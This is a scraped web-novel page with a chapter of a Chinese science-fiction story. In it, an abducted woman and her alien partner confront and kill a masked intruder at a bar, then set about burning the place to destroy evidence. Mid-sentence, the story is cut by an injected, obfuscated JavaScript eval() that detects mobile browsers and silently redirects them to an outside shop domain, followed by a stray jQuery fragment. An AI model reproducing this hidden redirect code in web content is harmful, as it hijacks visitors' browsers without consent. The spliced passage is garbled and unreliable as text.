文趣网 > 其他小说 > 逃离切尔斯星 > 15. 15
    琳琅轻轻“嗯”了一声,她问完一大通问题,心里的石头悄然落地,至少在某种程度上,她发泄了自己的不安。现在,她愿意了解赛克。

    赛克好像准备说很多话,有些兴奋地喝了一口饮料,舒展双臂靠在椅背上,“我第一次接触到‘爱’这个字眼的时候,就产生了兴趣。你知道吗,就像给了一个人从没想象过的东西,听起来那么温暖,那么神奇,但是我的父母告诉我,这些没用,我的人生里用不上它,这会影响我的判断,会让我失去很多。听起来他们有点冷酷是不是?”

    琳琅看着赛克垂下的睫毛,四只眼睛的睫毛眨了眨,脸上似乎回到了他小时候的困惑。窗外大好的日光和拥挤的街道,路人嬉笑着从她的面前经过,那是一个长着多层鳞片的女孩,像一只失败的人鱼,却有一对很标准的人类眉毛。

    有什么不对劲的感觉在琳琅心里越来越大。

    她把目光收回来,对赛克问道:“我有一个问题,为什么你们会知道人类?而且大家都幻想成为人类——”

    幻想是永远不可能实现的——科涅斯威胁她的话语冷不丁地跳出来,一想到自己正和科涅斯处在一个城市里,她心里的焦躁打乱她的思绪,偏移了话题:“我可以再要一杯忧……忧郁威尼斯吗?”

    赛克从兜里掏出一粒矿石,很小的一粒,像是某种碎片,他抬起手,聚精会神地瞄准吧台待机的酒保机器人,用力一扔——“当!”砸中机器人的圆脑壳,上面瞬间凹下去一块。

    “不好意思,”赛克坏笑着,尾巴欢快地啪啪打着椅子,“请再给我一杯最便宜的50币的酒水,你如果再磨磨蹭蹭我就抽出你的中心芯片泡酒。”

    酒保机器人气愤得嘴里的合金牙齿咯咯直响,看到赛克没有开玩笑的意思,连忙捂住变形的额头,他快速送上一杯橙色饮料,转身离去,同时后脑勺屏幕上的标语变成了一串星号,琳琅怀疑应该是被屏蔽掉的脏话。

    “你接着问,我什么都会回答,你还想知道什么?”赛克的眼睛在窗外折射的日光下清澈温柔,“能愿意和我说话的人不多,我真高兴,你愿意和我说话。”

    琳琅握着玻璃杯,面对一脸期待的赛克有些不自然,她不擅长应付热情的人,或者说经历过科涅斯的幽禁后,她变得迟钝,面对危险她可以咬牙坚持,面对好意她茫然无措。但是她知道,这是她的问题。

    她犹豫了一会,“我还想知道为什么你们的长相都有点像人类,比如彗星的手,还有你的脸,还有街上那么多人,多多少少都有点人类的影子,好奇怪。”

    赛克笑着听完她的问题,“这没什么的,人类这个物种就像一种传说,传着传着就成真了,你们地球上不是也有很多传说,什么白雪公主俄耳浦斯?直到有些人成为了真正的人类,比如可恶的科涅斯,谁知道他们怎么发现人类的,总之这就像传说成真了,所有人都会去追逐。”他带着一种调侃,特别是在说“可恶”两个字的时候,科涅斯的名字听起来有一种轻盈的愚蠢。

    赛克的眼里似乎有什么在闪烁,琳琅认为那是一种欣喜的感激,因为她愿意和赛克说话。

    “至于为什么我们长得总是有点像人类,不错的问题,可能是因为能产生生命的星球总会莫名的相似吧,这个也许科学家才会知道答案,但很可惜我又不是科学家,”赛克略显抱歉地挠了一把黄色的头发,视线便自然地落在琳琅的头上,“你的头发?”

    “被科涅斯剃掉了。”琳琅冷冷地说,不由自主摸了一下扎手的头皮。

    “他真不懂事,我猜你的头发应该很好看,他喜欢你的头发?”赛克问。

    琳琅顿时发觉嘴里的饮料苦涩起来,“他喜爱的不是我,是一个会逃跑的玩具,他只是剃掉了我的头发,然后踩在脚底下。”

    赛克沉默了一会,“对不起,又让你想起伤心的事,不过我真的很好奇,因为地球上那么多人,他怎么偏偏抓了你,难道是某种宿命?”

    琳琅终于靠在柔软的椅背上,目光游移,脑子里的记忆像毛玻璃上的水雾,不清晰地弥漫上来。“狗屁的宿命。我当时走在路上,我还记得是一个十字路口,是红灯还是绿灯我没有注意,我走了过去,我心里很高兴,好像有一件很高兴的事情在等着我,然后……”然后的记忆就像被按下停止键的放映机,琳琅醒过来就看到陌生的男人,陌生的手术室。

    赛克忍不住向前倾,示意琳琅接着说。

    “我不记得了,大概是他用了什么技术,我之后醒过来就在这里了,我真希望是一场马上就能醒过来的梦。”

    赛克的身体靠了回去,开口道:“很可惜,这不是梦。”

    琳琅看到酒保机器人躲在角落里待机,这是一个背对赛克的角落,再看到赛克还惬意地坐在她对面,心里的惆怅也摇摇头消散了。

    她现在就在这里,这一切都不是梦,而她必须想办法回家。

    “说说你的计划吧,这才是我们目前最重要的事。”她鼓起干劲,努力不让它跌下去。

    “计划,我的计划很简——”

    赛克的话没说完,酒馆的门被粗暴地打开,发出很大的声响。一个蒙着面的男人气势汹汹地跨步进来。长着猛禽爪子的大手重重拍在门上,“小朋友们,该收营业税了。”他的到来,激活了角落的酒保机器人。

    “欢迎光临,祝您再活十年,啊!您不要这么用力拍我的工作台!”机器人脚底的滚轮都要磨出火花了,冲到男人的身边,生气地按下男人的手。

    赛克的脸上不再笑吟吟,眉毛皱得可怕。“我想我们要走了。”他站起来,琳琅跟着站起来。

    蒙面男人发出一声粗狂的笑声,站在他面前的酒保机器人下一秒倒在地上,在地上摔的叮当响,两片铁皮的眼睛半眨不眨,从身上冒出一股恶臭的铁糊味。

    “哦,还有附赠品。”他大笑,伸手朝吧台内按下。

    琳琅还来不及反应,顷刻之间,所有窗户像断电一样,唰的变成一块块黑色的金属,门口急急降下黑色的金属防护门。酒馆内响起机器的声音:开启非营业状态。头顶的灯管一根接一根变得暗淡无光,琳琅不小心碰倒了桌子上的饮料。

    “看来是有蓄谋的,你花了不少时间才确定了今天这个绝佳的机会吧?”赛克的眼睛在薄薄的黑暗中泛着微光,他站在琳琅身前,用尾巴圈住她的腰把她留在背后。

    “聪明人,有点意思,”蒙面男人似乎不惧黑暗,径直走到赛克前面,“这样吧,趁今天街区监视飞眼在休整,我让你从后门离开,怎么样?”他从赛克身上嗅到危险的气息,他只想完成他的任务,没想多惹一手累赘。

    琳琅努力眨着眼睛,酒馆内并非全然的漆黑,头顶的遮盖板上因为年久失修,漏下几丝细微的光线,她模糊地看到赛克转动了下耳尖,像某种猫科动物的警觉动作。

    “你不怕这堆废铜烂铁被警察搜查,他要是录下了你的脸你的声音,巡逻守卫想找到你是很简单的,除非你永远不来主城区了。”赛克笑着说,有种事不关己的态度。

    对方踢了一脚机器人,把它踢得翻过面,琳琅闻到比之前更浓的焦味,像是融化了一堆陈旧的铁锈。

    “我真是不小心,核心芯片被我烧坏了,没人能修得好。好了,别废话,你到底是谁,如果你说谎,我会把你变成和他一样的下场。”他又踢了一脚机器人溃败的身体。事实上,赛克没说他知道什么,但是他的询问让男人觉得赛克知道他的目的,于是他对准赛克,举起一个冒着丁点儿白色烟雾的枪口。

    琳琅悄悄往衬衫下摸,直到握住那把还算熟悉的枪,今天早上赛克刚给她的,现在还有两发子弹。她暗暗想,万不得已打中对方的脚,是不是可以拖延一会时间?

    “高熔点发射枪,子弹打在敌人身上就可以释放超过1000度的灼烧,除非特质的金属,一般人或者机器没法抵抗,”赛克看着那把枪说,“比你手里的要强上不上,你没有胜算。”他朝琳琅偏头。

    琳琅没收手,还是捏紧手里的枪,赛克捆在她腰上的尾巴在黑暗中收紧了几分。

    “你认识这把枪,那你不是什么普通市民了,”男人步步紧逼,“你到底是谁?”

    “曙光。”赛克说。

    男人的身影停了一秒,随即猛烈地笑起来,听起来像十足的嘲笑。

    “你们也知道这里了?但是很抱歉,这里是我先来的,要么你们假装不知道地离开,要么就和这傻头傻脑的酒保一起躺地上,”男人的肩膀笑得抖动起来,“你选一个吧,你们组织总是小打小闹,我不在乎你们回去怎么说,只要别打扰我的任务就行。”

    赛克盯着他的枪口,好几秒没动。

    “别紧张,我们又不是蠢货,我们现在就走。”赛克的语气故作轻松,缓慢地移动,带着琳琅一步一步后退,直到走到酒馆的一扇窄小的侧门,伸手握住门把。

    “你可以丢给我一把钥匙么?”赛克转动了几下门锁,无奈地说。

    男人在吧台里准确地摸出一把钥匙,远远地抛给赛克,“钥匙丢门口,这家老板挺好的,我不想让他再花钱做一把。”他像个老好人一样憨笑几下。

    “谢了,祝你好运。”赛克把钥匙插进锁孔,带着琳琅走出去,转身把门关上。

    酒馆的后门开在一条狭窄,潮湿的巷子,尽头看不到一点人,难以想象前面热闹的酒馆背后是一副破败荒凉的景象,这个城市的繁华像一层华丽的假衣,就像那些崭新的科技和古老的建筑一样让人疑惑。

    琳琅拍了拍赛克的尾巴,“可以松开了。”

    赛克笑笑,把尾巴松开,他没有离开,而是用手挡在琳琅身前,“我们等他出来。”

    “不是说在这里不能随便动手么?”琳琅问。

    赛克脱口而出:“我经过了深思熟虑以后做出的决定,不算随便。”

    “会有危险的吧?”她只问了这一句,赛克却哼哼笑了起来。

    琳琅有些摸不着头脑,靠在巷子粗糙的墙壁上问:“你在笑什么?”

    赛克也顺势靠在墙壁上,他低头回答,琳琅才发现他的牙齿有两个小小的獠牙,并不突兀只比其他牙齿略长略尖一点,赛克心情很好的样子,“我以为你会说让我们快点离开,结果你只是关心有没有危险?”

    琳琅把视线放到巷子的斑驳污渍上,心想她现在没办法大叫说“快点去把宇宙飞船抢过来我只想回家回到地球,而不是管你要不要偷什么基因改良剂还是要不要做些坏事”,她要尊重赛克的计划和莫名其妙的行事风格,她没能力阻止这个搭档,那她只能努力加入。眼下她只担心这个突发奇想的行为会不会有危险。

    “曙光就是我现在想办法加入的反抗组织,那个男的估计是其他组织的,至于他到底要来做什么,我真不知道。但是我想起来了,那个蠢货酒保之前说过他们三个月前原地翻新过,翻新了整整一个月,你说,如果有人在翻新过程中想做点手脚会做什么呢?”赛克问,手上的钥匙扔到半空,翻转着又回到他手里。

    巷子里有一股阴暗的死老鼠味,琳琅皱皱鼻子,“趁着翻新,把什么东西藏起来?”

    “答对了,我也是这么猜的。”赛克和她站在后门的旁边,眼睛一直盯着门框,只要门框打开一丝口子,他身后蓄势待发的尾巴就会立刻缠绕上对方。

    “可是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967422|214558||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,我有一个问题,”琳琅放低声音,看了一眼天空上偶尔飞过的空中巴士,“你为什么肯定他会从这里出来呢?万一他像你一样把酒馆全部炸掉不是更好,什么痕迹都不会有,我们现在好像在等他乖乖出来。”

    赛克夹克下的胸膛微微起伏,他全神贯注地盯着门缝,听到琳琅的问题,长长嗯了一声,“这是我们这些人的直觉,或者说是习惯,如果他没做准备地炸掉这里,他会很难逃脱。马上就会有人叫来巡逻队,而且他贴心地关上了所有门窗,还说不让老板再打一把钥匙,他大概只是想偷偷溜走而已,”赛克用下巴朝巷尾扬了一下,“从这里出去绕一圈就会回到街上,今天B12街区的监视飞眼在休息,不会拍到他的行为,警方都无处查起,除非他笨到去和别人起冲突,那就被人偷偷记录下来也说不定。”

    琳琅仔细看了看街区上方,对比起她第一次到首饰大楼的附近,当时空中悬浮着一些白色的圆球机器,扑扑飞舞着翅膀,应该就是所谓的监视飞眼。

    “你当初不就炸了大楼然后跑了出来吗,这很难做到么?”琳琅纳闷地发问。

    旁边的赛克身形忽然一滞,耳尖往上又提了一些,“怎么能拿我和他比呢,我可是做坏蛋的天才。好像有声音了,嘘——”

    琳琅立刻闭紧嘴巴,屏息以待。她心里还有些疑问,眼下都只能一股脑先压着。她已经牢牢把手放在手枪上,她可以确认她掏出来的时候只要一秒。她感觉太阳穴微微发痒,从头上滑落下一滴细细的汗。

    脚步声从轻到重,直到停在门前,她听出来了,这个男人就在门的后面。他很谨慎,先探出头的是一只枪口,他刚才打崩酒保的那支枪,接着立刻推开门——但是赛克动作更快更稳,电光火石之间他夺过枪,顺着手臂把男人的手折到对方的后颈,骨头发出“咔嚓”声的同时,尾巴直接绞上他的另一只手还勒住了脖子。男人脸上的黑色面巾像气球一样鼓起来,又因为大口呼吸而瘪下去。

    “你、你们……不守信用,该死的!”男人的喉咙里夹杂着唾沫的呛声,琳琅晃晃头,把昨晚检查长青紫的脸从眼前甩掉。

    “信用,是好人遵守的,我和你一样,坏得没边了。”赛克一脸得逞,他把男人摁在墙壁上,用那把高熔点发射枪把面罩扯掉。

    “真丑。”他评价道,听起来诚心诚意的。

    面罩下是一个圆形的脸,像一块压扁的肉,脸颊两边竖着两只倒立的眼睛,嘴巴夹在中间,上面覆盖着很多褐色的羽毛,随着他的喘气和怒视,羽毛微微张开,琳琅闻到一股微微发酸的热气。相当不好闻。

    “你从这里拿走了什么?”赛克另一只手握枪,对准他那个向内凹陷的脑袋,“我猜你大脑长在这里。”

    男人浑身动弹不得,手上的爪子不停发抖,还是很硬气地叫嚣:“你……杀了我,我根本不会告诉你,你、你这——”

    火焰窜出枪管,他的脑袋在下一秒直接被赛克手里的枪融化了,身体瞬间变得软趴趴,脖子上烧焦的血肉散发的热气,依稀可见。

    赛克甩甩尾巴,没头的身体滑到在地上,他把枪递给琳琅:“使用感还不错,你留着。”他说完就碾碎了男人手腕上的通讯器,蹲下一阵翻找,从他的上衣口袋里摸出一枚数据卡和一张写着“临时租用”的交通卡片。

    琳琅再次见到在自己面前倒下的尸体,还是会不由自主地颤抖一下。这感觉很不好受,而且这个男人似乎有些骨气,她安慰自己,她是人类,这不属于她自责的范围。

    “就把他丢在这里吗?”琳琅担心地问出了和之前一样的问题。

    赛克打开后门,把男人拖进去,她跟着走进黑漆漆的酒馆,

    “我们必须清理干净。”赛克拧开所有酒桶的龙头,一股烈性乙醇的气味混合着香甜充斥在空气里,酒水不停淌到地上,发出咕咚咕咚的声音,他踩过酒保机器人的残骸,从吧台里取出一根蜡烛。

    赛克惊喜地吹了口气,“居然还留着这个,上次见他们庆祝节日用的,真是复古啊,”他举着小半截的蜡烛来到琳琅眼前,“用那把枪,转动上面的舵轮,切换到小型火焰,点燃它,别按错了,不然你就要杀死我了。”赛克觉得自己说了一个笑话一样,突然笑了一会。

    琳琅咽了口唾沫,努力凭借酒馆里稀薄的光线看清,小心翼翼地转动枪管上的转轮。

    “咔哒。”

    一声轻响。

    “现在可以了吗?”琳琅的声线并不平缓,黑暗中吸了一口气,等待赛克的回答。

    赛克轻轻眯着眼睛,琳琅看到他泛着微光的眼裂狭长起来,他的声音带着意味不明的蛊惑,“要是我骗了你,你就能杀死我了。要不要试一下?”

    琳琅的呼吸变得急促,有种被耍的难堪和茫然,她才意识到,这件事塞克自己可以做。

    她压抑住生气说道:“我没空陪你玩无聊的游戏,赛克。”最后的名字琳琅说得很用力,希望他能听出自己的不满。她不喜欢这种被耍的感觉,心里却又在想这也许就是作为赛克搭档要习惯的事,这是他的风格。

    赛克哈哈一笑,“对不起,黑暗里就是容易让人想玩点心跳加速的小谎言,你开枪吧,我准备好了。”他又说成一副要赴死的慷慨模样,甚至还闭上眼。

    琳琅准备了几秒,从赛克的面前站到他的旁边,面无表情地按下扳机。

    “呼。”

    一小簇火焰点燃蜡烛,琳琅郁闷地瞥了一眼赛克,真是莫名其妙,她站在他旁边不就好了,即使喷出火焰也至少烧不着他的头!

    赛克看到手里跳跃的焰火,看了下旁边的不说话的琳琅,歪歪头,“哈,聪明。”